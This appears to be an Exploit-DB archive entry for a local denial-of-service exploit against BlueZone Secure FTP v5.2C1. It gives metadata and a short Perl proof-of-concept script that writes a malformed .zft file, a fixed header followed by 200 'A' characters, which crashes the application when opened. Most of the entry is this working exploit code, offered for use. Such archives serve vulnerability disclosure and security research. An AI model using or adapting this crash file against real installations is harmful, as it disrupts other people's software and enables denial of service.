BlueZone - '.zft' File Local Denial of Service

Author: Iolo Morganwg
type: dos
platform: windows
port: 
date_added: 2011-10-24  
date_updated: 2011-10-27  
verified: 1  
codes: OSVDB-83421  
tags:   
aliases:   
screenshot_url: http://www.exploit-db.com/screenshots/idlt18500/18029.png  
application_url:   

raw file: 18029.pl  

#!/usr/bin/perl -w
# Exploit Title: BlueZone Desktop Malformed .zft ffeil Local Denial of Service
# Date: 24-10-11
# Author: Iolo Morganwg
# Version: BlueZone Secure FTP v5.2C1 Build 1469
# Download: http://www.rocketsoftware.com/bluezone/products/secure-ftp/downloads/secure-ftp
# Tested on: Windows XP SP3

#To trigger: Run script {chwilfriwio.pl}, open with BlueZoneFTP, program dies - horribly!.

my $ffeil = "chwilfriwio.zft";
my $head = "BFTP100EK
ColorsVCustom@";
my $junk = "A" x 200;

open($ffeil, ">$ffeil");
print $ffeil $head.$junk;
close($ffeil);